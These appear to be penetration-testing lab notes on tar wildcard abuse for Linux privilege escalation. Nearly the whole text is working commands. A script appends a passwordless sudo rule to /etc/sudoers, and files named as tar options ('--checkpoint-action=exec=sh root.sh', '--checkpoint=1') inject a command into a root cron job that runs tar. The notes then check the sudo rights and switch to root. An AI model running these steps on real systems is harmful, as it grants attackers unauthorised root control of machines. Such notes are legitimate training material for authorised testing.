# 5.Wildcard Abuse

## Example: tar wildcard abuse (requires vulnerable cron job)

## Create malicious files

```sh
echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
```

## Check created files

```sh
ls -la
```

## Wait for cron job to run (check /var/log/syslog for cron job execution)

## Check sudo privileges

```sh
sudo -l
```

## If successful, escalate to root

```sh
sudo su
```
